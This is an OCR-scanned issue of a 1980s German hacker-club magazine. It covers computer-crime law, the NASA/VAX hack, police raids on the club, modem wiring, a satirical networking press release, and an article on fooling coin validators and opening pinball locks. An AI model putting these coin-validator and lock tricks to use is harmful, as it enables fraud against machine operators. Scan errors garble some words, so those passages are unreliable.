dringt, mit einer Strafe wegen Ausspähens von Da-

ten zu rechnen hat. Als kleines Bonbon für gefrustete 

Hacker: Der Versuch ist nicht unter Strafe gestellt. 

Außerdem wird die Straftat nur auf Antrag des Ver-

letzten verfolgt. D.h., daßdie S taatsan waltschaft von 

sich aus die Tat nicht verfolgen kann. 

Sowei t der Billigtarif für Einstelger. Aber das Gesetz 

hat für extravagante Kunden auch noch teurere An-

gebote auf Lager. Z.B. für solche, die Daten zer-

stören oder verändern. Dazu zählen auch der Einsatz 

von Viren oder (die wohl auch beim NASA-Hack 

eingestzten) Trojanischen Pferde. Damit sind wir 

beim Thema Datenveränderung (Ü 303a StGB) und 

Computersabotage Ü 303b StGB). 

Der Tarif für die schlichte Datenveränderung ist 

noch relativ moderat: Es wird Freiheitsstrafe bis zu 

zwei Jahren oder Geldstrafe geboten. Computersa-

botage kommt schon teurer: Freiheitsstrafe bis zu 5 

Jahren oder Geldstrafe. Manche Hackerwerden sich 

jetzt vielleicht in die Brust werfen, bekannte Phrasen 

über "Hacker-Ethos" ablassen und kategorisch fest-

stellen: "Hacker sabotieren nicht." - Doch! So zum 

Beispiel die NASA-Hacker! (Oder waren das gar 

keine "Hacker" ???) 

Zunächst zur Datenveränderung. Bestraft wird, wer 

Daten "löscht, unterdrückt, unbrauchbar macht oder 

verändert". Da ist das Gesetz einmal so erfreulich 

deutlich, daß es auch dem Laien kaum noch kom-

mentiert zu werden braucht. Praktisch jede Mani-

pulation von gespeicherten Daten wird von der 

Norm erfaßt. Dazu gehört natürlich auch das Er-

gänzen von Daten, zum Beispiel das Einfügen eines 

neuen Paßworts in die Passwort-Datei. Fast über-

flüssig zu erwähnen, daß Programme selbstver-

Sotcngrfjlcubet 

stündlich auch Daten sind. Werden Programme 

durch Viren oder Trojanische Pferde verändert, so 

liegt eine strafbare Datenveränderung vor. Dies 

kommt ebenso in Betracht, wenn Daten an einen 

anderen Empfänger umgeleitet oder sonst abgefan-

gen werden. 

Im Gegensatz zum Ausspähen von Daten ist hier 

auch schon der Versuch strafbar. Stümperei schützt 

also vor Strafe nicht! Verfolgt wird die Datenve-

ränderung - wie auch die im Anschluß vorgestellte 

Computersabotage- nurauf Antrag. Bei besonderem 

öffentlichen Interesse kann die Staatsanwaltschaft 

aber auch von Amtswegen, also ohne Strafantrag des 

Verletzten, einschreiten. 

Die Computersabotage (Ü 303B StGB) soll uns hier 

nur in ihrer ersten Fallgestalt (Ü 303b I Nr.l StGB; 

Nr.2 bezieht sich nur auf Beschädigung von Hard-

ware) interessieren. Dort baut sie auf der Datenve-

ränderung auf. Computersabolage ist demnach eine 

Daten Veränderung (wie oben dargestellt), wenn da-

durch "eine Datenverarbeitung, die für einen frem-

den Betrieb, ein fremdes Unternehmen oder eine 

Behörde von wesentlicher Bedeutung ist", gestört 

wird. 

"Von wesentlicher Bedeutung" isl eine DVA , wenn 

von ihrem störungsfreien Ablauf die Funktions-

tüchtigkeit des Betriebes im Ganzen abhängt. Dies 

betrifft heute, rasch zunehmend, die meisten Be-

triebe, Unternehmen oder Behörden, die eine elek-

tronische Datenverarbeitung einsetzen. 

Keineswegs falsch dürfe die Annahme sein, daß die 

EDV-Anlagen der NASA und der ihr angeschlos-

senen Forschungsinstitute für ihre Betreiber eine 

wesentliche Bedeutung haben. In diesen Anlagen 

der NASA (und anderer Institute) sind bei dem 

NASA-Hack Daten durch Einsatz von Trojanischen 

Pferden verändert worden. Damit haben die NASA-

Hacker ein schönes Beispiel für eine Computersa-

botage geliefert. Auch bei der Computersabotage ist 

schon der Versuch strafbar. Zur Erforderlichkeit 

eines Strafantrags siehe oben. 

Im folgenden zweiten Teil dieses Artikels werden 

die etwas teureren Normen vorgestellt und Überle-

gungen angestellt, ob und wie unter bestimmten 

Umständen sttaffreies Hacken möglich sein könnte. 

Stoepsel 

CLINCH/DÖ-RED/STÖEPSEL/30.09.87/23:20/8494 Z. 
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You should not... 

Hiermit möchte ich alle Datenschleuder-Leser drin-

gend davor warnen, die Telefonnummer 00490811 

resp. 00490811 zu wählen. Nach dem Wählen der 

Nummer liegt bis zum Unterbrechen der Verbin-

dung (sprich auflegen) ein ca. 0,8 Sekunden-

Gebührentakt auf der Leitung, der zur Folge haben 

könnte, daß die Telefonrechnung rasant ansteigt. 

Und das muß doch wirklich nicht sein, oder? 

Andy 

198709271400 TELWDS23.DOC Ls 16 
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KURZ VOR SCHLUSS 

27.l0.l987 - Neue BKA-Aktion 
Dleam«) wg. NASA 

Das BKA 1st zu dieser Stande mal w tede r 
tä t ig . Nachdem man »och mehr ala ein Jahr 

gebraucht hatte , um In Sachen CERN/PHILIPS 

gegen die Falschen loszuschlagen nnd gegen 

vier CCC-Mttg l l tder zu ermitteln, geht es I n 
d e r NA5A-Sacbe o f f e n b a r schneller. Sieben 

Beamte des BKA nnd der Hambarger Kriminal-

polizei durchsuchen derzeit die Prtvatwohnang 

eines CCC- Mitgliedes wegen de« Verdacht» 

der AusspShung-von Daten (§202 a StGB). 

Der seinerzeit geäußerte Verdacht, die BKA--

Akt loo In den RSomen de« C C C e.V. ond 

zweier Vorstandsmitgl leder habe nur dazu 

gedient, sich eine Granddatensammlung zu 

verschaffen, um In anderen P i l l en beaaer 

ermitteln za können, scheint sich za bestäti-

gen. Unklar 1st, wer Urheber dieser neuen 

BKA-Aktion 1st, denn der §202a StGB kann 

nor angewandt werden, wenn ein Betroffener 

Anzeige erstattet . Die Staatsanwaltschft kann 

nicht von sich aas tä t ig werden. 

Dies als kurze direkte Informat ion, eine offi-

zielle Presseerklärung des C C C folgt In KUree. 

C I J N C I I / C H A O S / S YSOP/27. iO.BT/ i8.06/97f Z . 

X 
Termin X 
Am Wochenende 6/7. Dez. findet jeweils ab 10:00 

in den Räumen des FORBID eV (040-439 2336) eine 

Vorbereitungstagung füreine internationale Tagung 

im Oktober '8g zum Thema "3. Welt und neue 

Technologien" statt. 

KS 

S n t c n S d j I c u b c r 27 





















Sicherheitsrisiken von 
Computersystemen 
Hacker schleichen sich in Datensysteme ein 
Hamburg (clinch) - In der Wissenschaft ist es 
längst üblich, Informationen elektronisch unter 
Angabe der richtigen Passwörter von Computer 
zu Computer zu verschicken. Besonders die 
Kernphysiker in Forschungszentren mit ihrem 
extrem hohen Datenaufkommen sind auf Cotn-
puterkommunikation angewiesen. 

Zudem lassen sich Daten und Programme an der 

einen Stelle aufbewahren und von außerhalb abru-

fen. Nur so ist die Zusammenarbeit über Grenzen 

hinweg möglich. Doch das dafür geschaffene Netz 

ist hackerfreundlich: Es wurde mit dem Ziel ge-

gründet, wissenschaftlichen Einrichtungen den Zu-

gang zu den Weltraumbehörden NASA (USA) und 

ESA (Europa) zu verschaffen. Das Rückgrat bilde-

ten die DEC-Systeme (Digital Equipment) der NA-

SA. Dabei wurde ein Computertyp eingesetzt, der 

unter Hackern besonders beliebt ist, weil er sich auf 

Billigcomputern besonders gut nachmachen läßt. 

ein Software-Loch gefallen", erklärte ein Sprecher 

des Hamburger Chaos Computer Clubs. Die Hacker 

meldeten sich mit dem bereits bekannten Passwort 

als Besucher beim Computer an und riefen die Liste 

mit den verschlüsselten Informationen über die Zu-

griffskontrolle auf. Das Ergebnis war - wie erwartet 

- eine Fehlermeldung. Diese wurde jedoch einfach 

ignoriert und die bereits offene Datei geändert. Die 

Hacker trugen sich ebenfalls in die Liste ein und 

gaben sich damit die Zugriffsrechte des System-

managers. 

Und prompt ist es passiert 

Im August dieses Jahres warnte Greg Chartrand, 

Computermanager des amerikanischen Kernfor-

schungszentrums Fermilab in Batavia nahe Chicago 

seine Kollegen in aller Welt:,^Hacker haben im Juli 

ihre Spuren in Europa hinterlassen und breiten sich 

nun in den ÜSA aus". Und es waren deutsche Hac-

ker, die mit-„Trojanischen Pferden" Rechenzentrum 

um Rechenzentrum eroberten, besonders in der eu-

ropäischen und amerikanischen Raumfahrtfor,-

schung. Betroffen sind Computer des Typs V A X der 

Fa. Digital Equipment (DEC). Die Hacker konnten 

jedes Programm und jede Datei eines angegriffenen 

Systems öffnen. Keine Sicherheitsschranke hielt sie 

auf. Der jüngste „Superhack", der zunächst nur 

stückweise bekannt wurde, gilt als der erfolgreichste 

seit der Existenz von Computern und übertrifft alle 

Befürchtungen der Experten. Zwar handelt es sich 

bloß, wie sich herausstellte, um den elektronischen 

Abfallkorb der NASA , in den man vorgedrungen 

war, aber immerhin. 

Der Einsteig in das Netz der DEC-Anlagen war nach 

dpa verblüffend einfach. „Beim Spielen mit den 

Computern ohne böse Absicht waren die Hacker in 

Wie inzwischen bekannt wurde... 

...sind auch Teile des Computersystems der Deut-

schen Forschungs-und Versuchanstalt für Luft- und 

Raumfahrt (DFVLR) in Oberpfaffenhofen bei Mün-

chen betroffen. Es handelt sich dabei um Systeme 

des Typs V A X 4.4,4.5, wie der Pressesprecher in der 

Kölner Zentrale auf Anfrage einräumte. 135 Ein-

heiten dieser Art seien insgesamt in neun Ländern 

von Hackern „geknackt worden". Andere Pro-

gramme wurden manipuliert, um sich „unsichtbar" 

zu machen. Auf dem Bildschirm und in den Aus-

drucken erschien kein Hinweis auf die Eindrin-

glinge. Wie einst die alten Griechen im Inneren eines 

hölzernen Pferdes in die belagerte Stadt Troja ge-

langt waren, so hatten sich jetzt die Hacker in frem-

den Computern eingenistet. 

(aus: Poliieispiegel 11/87, S.24S) 

CUNC/IICI1AOSIREDAKTIONI26.01.88/11:49133702. 
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Grundlagen für den Einsatz neuer 
Technologien in den Geisteswis-

• f , prof_ Dr Ekkehard Marlens um! I'eter Malussek. Universität se n sen atte n * 
Kurzdarstellung des Projekts einer 

„Hermeneutischen Interessen angepaßten Technologie" 
(Hl AT) 

Das Projekt H I A T stellt sich die Aufgabe, ein 
bisher ungenutztes Wirkungspotential neuer 
Technologien für die geisteswissenschaftliche 
Forschung zu erschließen. 
Deren immernoch äußerst geringe Akzeptanz gegen 

den Einsatz computergestützter Hilfsmittel ist auf 

ein Akzeptabilitätsproblem zurückzuführen: Die 

verfügbaren Technologien werden den geisteswis-

senschaftlichen Forschungsinteressen grundsätzlich 

nicht gerecht. Sic sind auf die empirisch-erklärenden 

Verfahren der Naturwissenschaften zugeschnitten. 

Der hermeneutisch-verstehende Ansalz der Ge-

isteswissenschaften aber setzt einer Formalisierung 

sowohl ihrer Inhalte als auch ihrer Arbeitsmethoden 

prinzipielle Grenzen. 

P.I.R.E. 

Der geisteswissenschaftliche 
Arbeitsplatz von morgen 

Die Anerkennung dieses paradigmatischen Gegen-

satzes muß und darf jedoch nicht in resignative 

Technikabstinenz münden. Vielmehr enthält er eine 

produktive Spannung, aus der technologische Lö-

sungen für die geisteswissenschaftliche Forschung 

zu gewinnen sind. 

Unter dieser Prämisse konzipiert das hier vorge-

stellte Projekt die Gestaltung des geisteswissen-

schaftlichen Arbeitsplatzes von morgen. Durch eine 

praxisorientierte Grundlagenforschung im interdis-

ziplinären Dialog zwischen Geisteswissenschaftlern 

und Informatikern will es die zukunftsorientierten 

Anforderungen an neue Technologien im Sinne ge-

isteswissenschaftlicher Problemstellungen formu-

lieren und experimentell realisieren. 

Als Pilotstudie soll eine Software mit Expertensy-

stemfihigkeiten entwickelt werden, die drei Grund-

typen hermeneutischen Arbeitens gerecht wird und 

sie forschungsintensivierend vereinigt: interpreta-

tive Phänömenkonstitution, sinnorientierte Re-

cherche und praktische Darstellung. Diesen Vor-

gaben entspricht das zu konstruierende „Personal 

Indexing and Retrieval plus Editor" (P.I.R.E.). 

Seitet9 

Es bietet dem Geisteswissenschaftler einen indivi-

duell angepaßten Zugriff auf eine Volltextdaten-

bank, der über drei kooperierende Anwenderpro-

gramme für hermeneutisches Arbeiten zu nutzen ist: 

Der „Indexer" hilft bei der Ideenfindung und Pro-

blemformulierung durch eine interaktive Dialog-

führung und strukturiert entsprechend den Wis-

sensbestand der Datenbank vor. Das Retrieval-

System, der „Knowledge-Navigator", gestattet eine 

somit auf die jeweiligen Forschungsinteressen zu-

geschnittene Datenselektion. Der „Editor" ist ein 

Textverarbeitungsprogramm.das die Gestaltung und 

Konzeption auch nicht hierarchisch gegliederter 

Texte unterstützt, wobei es sich den jeweiligen 

Indizierungs- und Selektionspräferenzen „intelli-

gent" anpaßt. Die drei Teilkomponenten arbeiten 

parallel im Multitasking-Verfahren, so daß z.B. der 

Schreibvorgang durch die Indizierungsdialoge un-

terstützt werden kann und der „Knowledge Navi-

gator" jeweils adäquates Informationsmaterini be-

reitstellt. 

Das Knowledge Engineering l'iirdas P.I.R.E. bedarf 

als Voraussetzung einer kritcriologischen Klärung 

hermeneutischer Arbeitstechniken. Sie soll durch 

Wissenschafts- und medientheorctische Untersu-

chungen zur geisteswissenschaftlichen Methodolo-

gie erbracht werden. Ansätze für deren informa-

tionstechnische Umsetzung bieten neuere Trends 

der KI-Forschung, die das Design von Zugangssy-

stemen nach dem (hermeneutischen) Modell offener 

Dialogstmkturen konzipieren. 

Der Prototyp des P.I.R.E. ist schließlich in einer 

größeren Feldstudie zu forschungsrelevanten Pro-

blemstellungen daraufhin zu überprüfen, ob er den 

Kriterien von HIAT genügt und ggf. entsprechend zu 

modifizieren. 

Ziel des Gesamtprojekts ist die Erarbeitung von 

Rahmenrichtlinien für die sinnvolle Verwendung 

neuer Technologien in den Geisteswissenschaften. 

Sic £>nknpd)lcubcr 

















BKA unter Fahndungsdruck 
C C C (Hamburg/Wiesbaden) - Über vier Monate 
sind vergangen, seitdem das Bundeskriminalamt 
(BKA) , mit in der Bundesrepublik beispielosen 
nächtlichen Hausdurchsungen, die Jagd auf ver-
meintliche Hacker beim Hamburger Chaos Com-
puter Club e.V. (CCC) eröffnete. 

Mitte September trat der Club mit Informationen an 

die Öffentlichkeit, dieein eklatantes Sicherheitsloch 

in einem Großrechnerbetriebssystem der Firma Di-

gital Equipment belegten. „Hacker" hatten sich an 

den Club gewandt, nachdem es ihnen gelang, in circa 

135 Computersysteme des wissenschaftlichen In-

formationsnetzes der Luft- und Raumfahrt sowie der 

Hochenergiephysik einzudringen. 

Mittels sogenannter „Trojanischer Pferde" unter-

gruben sie die Sicherheitsroutinen und installierten 

unter anderem Programme, die die Kennworte aller 

Nutzer auskundschafteten. Betroffen von diesem 

„Hack" waren neben der amerikanischen Raum-

fahrbehörde NASA führende Institute im neun west-

lichen Ländern. 

Raubkopien auf Großrechnern 

Bei der durch den Club sofort nach Bekanntwerden 

eingeleiteten „Schadensbegrenzung" wurde neben 

dem Hersteller auch der amerikanische Geheim-

dienst C IA informiert. Man wollte, so ein Club-

sprecher, vermeiden, daß der Club sich aufgrund der 

Brisanz der betroffenen Systeme zum Spielball der 

Geheimdienste entwickelt. So war es selbstver-

ständlich, daß vor einer Veröffentlichung die be-

troffenen Systeme wieder „gesichert" werden muß-

ten. 

Beim Vergleich der von den „Hackern" angefertig-

ten Liste der betroffenen Computer mit der Liste des 

Herstellers ergaben sich jedoch zahlreiche Unstim-

migkeiten. So wurden an führenden Forschungs-

einrichtungen, auch im Bundesgebiet, auf dem se-

cond hand Markt erworbene Großrechner ohne Li-

zenz betrieben. Gemeinhin wird soetwas als „Raub-

kopie" bezeichnet. 

Als Folge der Veröffentlichung dieses „Hacks" be-

sannen sich die Wiesbadener Polizeispezialisten 

einer Anzeige der französichen Niederlassung der 

Philips AG . Diese hatte im Herbst 1986 - nachdem 

der Gesetztgeber in der Bundesrepublick das Aus-

spähen und Verändern von Daten unterStrafestellte 

- Anzeige erstattet. Nach Angaben von Philips waren 
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Hacker in die Fertigungssteiirung eingedrungen. 

Die Ermittlungen der französischen Behörden führ-

ten in die Schweiz zum Genfer Kernforschungs-

zentrum CERN. Dieses beklagt schon seit 1984 

ständig Einbrüche durch Hacker. Unter den Hackern 

selbst gilt CERN als die „Europäische Hackerfahr-

schule" in der sich die Hacker „die Klinke in die 

Hand geben". Die schweizer Systemspezialisten äu-

ßertenden Ermittlungsbehörden gegenüber den Ver-

dacht, daß der Hamburger Chaos Computer Club 

Verursacher dieser Einbrüche sei. 

So erwirkte die Staatsanwaltschaft, einen Tag nach 

Veröffentlichung des Nasa-Hacks, die ersten Durch-

suchungsbeschlüsse. Inzwischen wird gegen sieben 

„Computerfreaks" aus dem Umfeld des CCC, in-

zwischen auch wegen des publiziertem NASA-

Hacks, ermittelt. Begleitet wurden die Ermittlungen 

durch ebensoviele Hausdurchsuchungen, bei denen 

umfangreiches Material sichergestellt wurde. 

MegaChip 
NETWORKING 
Hart getroffen wurden durch die Ermittlungen die 

beiden Vorstandsmitglieder des Clubs. Beide sind 

auch journalistisch tätig. Steffen Wernery unterhält 

seit 1984 einen Informationsdienst im Bildschirm-

textsystem der Post. Beiden Durchsuchungen wurde 

das Redaktionssystem sichergestellt, so daß der 

Dienst nicht mehr fortgeführt werden konnte. Zwei 

Monate allein benötigten die Spezialisten vom 

BKA, um eine Kopie der für die Fortführung des 

Dienstes benötigten Daten anzufertigen. Inzwischen 

sind auch Computerteile zurückgegeben worden. 

Dabei wurde festgestellt,daß die Ermittlungen durch 

unsachgemäßen Umgang mit den Gerätschaften und 

einem daraus resultierenden Geräteschaden verzö-

gert wurden. 

hoffnungslose Bestrebungen 

Seit der letzten Durchsuchung sind knapp vier Mo-

nate vergangen. Bis zum heutigem Tage wird den 

Anwälten der Beschuldigten die Akteneinsicht ver-

wehrt. Das B KA und die Staatsanwaltschaft tu n sich^ 
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schwer Licht in das Dunkel dieses Falles zu bringen. 

Mag auch das sichergestellte Material an Umfang 

zwar zugenommen haben, so scheinen die Spezia-

listen vom BKA nicht in der Lage zu sein ihre 

Vorwürfe zu präzisieren und zu belegen. 

Die Hoffnungslosigkeit der Bestrebungen des BKA 

wird ersichtlich wenn man Hintergründe eines wei-

teren Verfahrens miteinbezieht. So wird gegen den 

Pressesprecher des Clubs, wclcher nach internen 

Informationen einer der Hauptverdächtigen sein 

soll, seit eineinhalb Jahren wegen des Verdachts auf 

Verstoß gegen das Fernmeldeanlagengesetz er-

mittelt. Normalerweise werden geringfügige Ver-

stöße, bei gleichzeitig erhobenen schwereren Vor-

würfen, eingestellt. So jedoch nicht in diesem Fall. 

Denn in der Ermittlungsakte findet sich ein Ver-

merk, daß eine Anklage oder Verurteilung in den 

Ermittlungen des BKA kaum zu erwarten sei. So ist 

es zu erklären, daß die Hamburger Staatsanwalt-

schaft zunächst das geringfügige Verfahren weiter-

verfolgt. 

Doch mit einer baldigen Einstellung des Hacker-

falles ist nicht zu rechnen. So ist zu vermuten, daß 

gerade die französichen Ermittlungsbehörden die 

Deutschen kräftig unter Druck setzen, jetzt endlich 

einen mutmaßlichen Täter zu präsentieren und zu 

überführen. Der Fahndungsdruck wird weiter erhöht 

- Insider bezweifeln allerdings den Erfolg. 

So stellten schon die Hamburger Hacker fest: Der 

Gesetzgeber hat es versäumt, mit Einführung der 

Straftatbestände auch für die nötige Ausbildung der 

Ermittlungsbehörden zu sorgen. So fehlt es dem 

BKA an Kompetenz und Augenmaß in dieser Sache. 

Eine Chance, so die Hacker, der wirklich gefahrli-

chen Computerkriminalität Herr zu werden, haben 

die Computerspezialisten des BKA vertan. 

S. Wernery 062106 Feb 88 BEREICH RED BKA DRUCK 

CUNCltlDS-REDIS.WERNERY/07.02.88llS:5llS614Z. 

Modemanschluß 

Die Modem-Anleitung sagt über den Anschluß 

nichts Wichtiges aus, sondern ist (wegen der 

USA-Normen) eher etwas konfus. 

Es reicht aber der 2 Draht-Anschluß, wie er bei den 

meisten Hauptanschlüssen auch verwirklicht wird, 

jedenfalls bei den „alten" (neu heißt: Spezialstecker 

für ISDN, darüber weiß ich nix, dürfte aber nur neuer 

Stecker sein). Dort gehen aus der Wand 4 Drähte 

raus, entweder steckbar (4 Pin-Stecker) oder so, daß 

man einen Deckel abschrauben muß und (z.B.) ein 

10-Meter-Kabel mit den Poststeckem (flach, rech-

teckig, durchsichtig) einfach angeschlossen werden 

kann. Wenn man sich den Stecker ansieht, sind dort 

nur 3 Kabel drin. Davon sind bei einer „normalen" 

Anlage (1 Hauptanschluß, keine Nebenstelle) nur 2 

Kabel wirklich angeschlossen: die beiden, die direkt 

nebeneinander liegen. Nur diese beiden sind auch 

wirklich wichtig, das Modem erkennt Klingeln - das 

deutsche Besetztzeichen usw. erkennt es leider nicht. 

An dem Modem ist ein einfaches, 4-poliges Kabel. 

Es werden nur die rote und die grüne Leitung ge-

braucht, die anderen kann man abschneiden. Jetzt 

stellt sich die Frage, ob man immer umstecken will 

(oh wei!) oder umschalten oder alles (Teflon und 

Co.) immer dranlassen will. Das Modem hat noch 

einen zweiten Anschluß, an dem ein USA-Telefon 

(Stecker-Norm) so angeschlossen werden kann, daß 

immer, wenn das Modem aus ist, von dort aus tele-

foniert werden, und außerdem mit den Modem-

Befehlen auf Telefon (Voice) und zurückgeschaltet 

werden kann. Dazu eignet sich gut ein ganz einfaches 

Telefon vom Conrad-Electronic-Grabbeltisch für 

ca. 20 D M (ohne den Stecker!). 

Ich habe es etwas anders gemacht: Ich habe 2 Um-

schalter u pol & 1 pol) so mit dem ganzen Kram 

verlötet, daß ich entweder nur Post (2 pol!!) also 

normales Teflon dranhabe, oder Nicht Post, d.h. 

entweder Modem oder Ami-Phone (s.o. von Con-

rad), über den 1-poligen Umschalter, der andere Pol 

liegt bei Modem & Phone gleichzeitig an. In das 

Ami-Phone hab ich außerdem noch einen Schalter 

eingebaut, mit dem sich das Mikro ausschalten läßt. 

Dadurch, daß das das Ganze steckbar gemacht wurde 

(6 M-Kabel vom Conrad), ist die Chose höllisch 

schnell abbaubar: Wandsockel auf, Kabel raus, Ge-

häuse des Umschalters auf, Stecker (Original-Post-

Teflon!) raus, diesen Stecker in den Wandsockel, 

Deckel anschrauben - fertig. Das 10 M-Kabel kann 

die Pest m.E. nicht messen, der Rest ist immer nur 

dran, wenns gebraucht wird. WAB£ 

Legalize private Modems! 
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Münzprüfer 

"For a m u s e m e n t on ly" 

Es gibt verschiedene Arten von MQnzprüfern. 
Während Fl ipper und Video-Spiele auswechsel-
bare, ziemlich kleine Prüfer haben, welche immer 
nureinzelnde Münzen (1/2/5 D M ) prüfen, sind in 
Geldspielgeräten ("Daddelmaschinen") umfan-
greichere, welche die Münzen sortieren & prüfen. 
Diese können auch 10-Pfennig-Münzen prüfen. 

In Fahrausweisautomaten sind komplexere Priif-

voirichtungen vorhanden, die schon etwas mehr 

Wert auf die Echtheit der Münze legen (hier wird 

z.B. auch auf Rändelung überprüft). Bei ziemlich 

allen eingesetzten Geräten mit Münzprüfem werden 

die 5 Pence-Stücke (England) immer noch als D M 

1.- anerkannt. Vermutlich aus diesen Griiden be-

kommt man bei Banken kein Münzgeld aus anderen 

Ländern. 

Die Flipper/Videospiel-Münzprüfer erkennen z.B. 2 

1/2 Gulden Münzen (Holland) öfters als 5 D M an. 

Auch Ringe in entsprechenden Größen (wie z.B. aus 

Kaugummiautomaten in Bahnhöfen) werden bei 

diesen Prüfern noch als 1 D M - selten 2 D M - nach 

etwas Behandlung (Klebeband!) akzeptiert. Hier 

liegt allerdings möglicherweise schon eine Fabri-

kation von Falschgeld vor, die, wie auf jedem Geld-

schein deutlich zu lesen, mit nicht unter zwei Jahren 

Knast belegt wird. 

In den Bedienungs-Anleitungen von Geldspielge-

räten taucht öfters der Satz auf: "Größtmögliche 

Prüfsicherheit ist nur gewährleistet, wenn der Mag-

net und die Gegenfläche der 5 DM-Laufbahn sauber 

und frei von Metallspäne sind". Ebenso wird hin-

gewiesen: " A u f keinen Fall fetten oder ölen", da 

sowas nämlich leiten kann. In Japan gehen derzeit 

einige Aufsteller von Zigarettenautomaten langsam 

in den Ruin, weil ihre Automaten schon bei dem 

kleinsten Ölspritzer (und sei'snurSalatöl) Münze(n) 

gezählt zu haben meinen. Generell: "Sollte das Gerät 

nicht lot- und waagerecht aufgestellt sein, oder eine 

Falschmünze wird häufig vom Prüfer angenommen, 

so kann der Fehler durch Justage behoben werden." 

Think. 

Ältere Williams-Flipper zählen angeblich etliche 

Freispiele, wenn man sie etwas anhebt und dann 

wieder der Schwerkraft überläßt. Zum Thema Flip-

per: Im Gegensatz zu Videospielen, die Schlösser 

mit Rundkopfzylinder aus ausländischer Fabrika-

tion benutzen, sind Flipper-Schlösser simpel und 

dementsprechend schlecht gesichert. Die Entwick-

lung schreitet zwar auch im Hinblick auf die Si-

cherheit voran, aber manche sollen immer noch mit 

einerumgebogenen Büroklammer zu öffnen sein. Im 

Gegensatz zu sonst 

üblichen Verfahren ist die Aufschließrichtung links 

herum. Ausnahmsweise hier einmal ein echtes Lob 

an die deutsche Bundespest: diese setzt Prüfer aus 

(relativ) eigener Produktion ein, welche wesentlich 

mehr Sicherheit bieten. Gerüchteweise hört man 

zwar von 5 Drachmen-Münzen (Griechenland), wel-

che bei älteren Teflonzellen als 1.- D M durchge-

lassen werden. Und die Moral von der Geschieht: 

Laß prüfen deine Muenzen nicht. 

Andy 
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HyperNet 

Xerox künd ig t Hyper -E therne t an 

S A N F R A N C I S C O , CA.; Jan. 7, 2010 - Xerox 
kündigte heute Hyper-EherNet an, das Local 
Area Network der vierten Generation. Zusätzlich 
zur Übertragung von Text, Daten und Bildern 
bietet Hyper-EtherNet die Möglichkeit derÜber-
tragung von Leuten. 

Folgt man Michael Liddle, Chef von OfficeSystems, 

dann wird "die Übertragung von Leuten via Hyper-

EtherNet den Andrang vor Aufzügen wesentlich 

reduzieren und Video-Konferenzen unnötig ma-

chen." Bestellungen für das Hyper-EtherNet werden 

ab dem nächsten Monat angenommen. Die Instal-

lation wird ab dem dritten Quartal in Los Angeles 

beginnen. 
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Im Hauptquartier der Wang Laboratories in Hobo-

ken, New Jersey, wird ebenfalls an einem neuen Netz 

gearbeitet, dem Super-Hyper-WangNet, einem Lo-

cal Area Network der zwölften Generation. Laut 

Freddie Wang, Präsident der Wang Labs, "kann man 

mit WangNet nicht nur Leute übertragen, sondern -

über Interconnect- und Utility-Verbindungen - auch 

Möbel und Gebäude. Diese zusätzlichen Möglich-

keiten des Super-Hyper-WangNet werden für- das 

Büro der Zukunft von entscheidender Bedeutung 

sein". Bestellungen für das Super-Hyper-WangNet 

werden ab nächstem Monat angenommen. Installa-

tionen haben bereits weltweit begonnen. 

Die IBM-Corporation, die ein Local Area Network 

gerüchteweise seit 1980 ankündigt, warnicht bereit, 

dazu einen Kommentar abzugeben. 

DECNet Phase XVIII 

TEWKSBURY , M A ; April 1,2010-Digital Equip-

ment stellte heute ihre neue DECNet Phase XVIII-

Architekturvor. Als Entgegnung auf Entwicklungen 

von Xerox und EtherNet-Erweiterungen von Wang, 

durch die man Leute und Sachen Uber Internode-

Links verschicken kann, bietet auch DEC's neuestes 

DECNet diese Features, und darüber hinaus die 

Erzeugung virtueller Möglichkeiten bis hin zu vir-

tuellen Nationalstaaten. Diese Dinge wurden er-

reichbar, nachdem Durchbrüche in der 

Kommunikations-Technologie erzielt wurden, die 

den Äther als Kommunikationsmedium benutzen. 

Durch die Anwendung eines neuen NANO-PDP-

11/E99 Gateway Processor Systems, ETHERG ATE 

genannt, können DECNet-User nun an jede belie-

bige Stelle der EtheReal-Ebene gelangen. 

Diese Entwicklung macht Telekonferenzen obsolet, 

da Gruppen nun ihre eigenen Konferenzräume und 

Cafeterias generieren können, was wiederum eine 

Ersparnis an Platz, Reisekosten und Essens-Spesen 

nach sich zieht. In der ersten Version befinden sich 

möglicherweise noch einige Bugs, da eines der er-

sten verschickten Mitglieder der DECNet Reviev 

Group seit dem letzten Treffen, das in einem solchen 

virtuellen Konferenzbereich abgehalten wurde, 

nicht mehr aufzufinden ist. 

Dieser technische burchbruch ist einem Team von 

Software- und Hardware-Ingenieuren von Distri-

buted Systems zu verdanken, die die Möglichkeiten, 

die ihnen in Tewksbury, Massachusets, zur Verfü-

gung stehen, geschickt zu nutzen wußten. Distri-

bu ted S y s t e m s hat e inen K o m p r o m i ß gemach t und 

wi l l E T H E R G A T E in T W O O O unters tü tzen , wobei 
es sich um eine Direktverbindung zu ihrem neuen 

Sitz irgendwo im Bereich ihrer neudefinierten 

Middle-Eanh-Realität handelt. Einige Schwierig-

keiten gibt es, da die Relokation von Szenen, Fen-

stern. manipulierter Steuer-Belege. Schwimmbec-

ken undTennisplätze den Ablauf verlangsamen. Der 

Aufbau der Netzwerk-Topologie bleibt unverändert, 

alles 'Forwardlng' wird vom TWOOO-EtheReal-

Ebenen-Router erledigt, der sich in dem Krater am 

Ort des ehemaligen Hauptsitzes befindet. 

Utility Packages wie EtheReal Person Transfer (EPI) 

und EtheReal Facility Transfer (EFT) bieten um-

fangreiche Möglichkeiten für unterschiedlichste Be-

nutzer. Raffinierte User können auf einfache Weise 

vermittels höherer Programmiersprachen EtheReal-

Entitäten generieren (SCREATE), öffnen (SOPEN) 

und löschen ($NUKE), indem sie das EtheReal Ma-

nagement System (EMS) und das EtheReal Access 

Protocol (ERP) benutzen. Ein ETHERTR IE VE-

Utility zum einfachen interaktiven Gebrauch wird in 

Kürze zur Verfügung stehen. 

DECNet Phase XVI I I ist aus der Phase-XVI-

Akzeptanz hervorgegangen, durch die jedermann 

Zugang zu einem professionellen Digital-

Armband-Computererhaltenhat, und führte überdie 

erfolgreiche Architektur der gegenwärtigen Phase 

XVI I , welche Routing-Kapazitäten bietet, die eine 

direkte Kommunikation mit den Atari-Videospielen 

der gesamten Erdbevölkerung ermöglicht. 

Die In gen ieure von Distributed Systems sind schwer 

beschäftigt mit der nächsten Phase des DECNet, die 

unter anderem Multi-Plane Existence Network Ma-

nagement (unter Verwendung des N1ECE-

Protokolls) und Galaxy Level Routing mit 64K Bit 

Adressbreite bieten soll. 

Digital will seine Gateway-Produkte auch weiterhin 

auf der primären materiellen Ebene anbieten. Diese 

Produkte enthalten ein IBM-ANA-(Acronym-

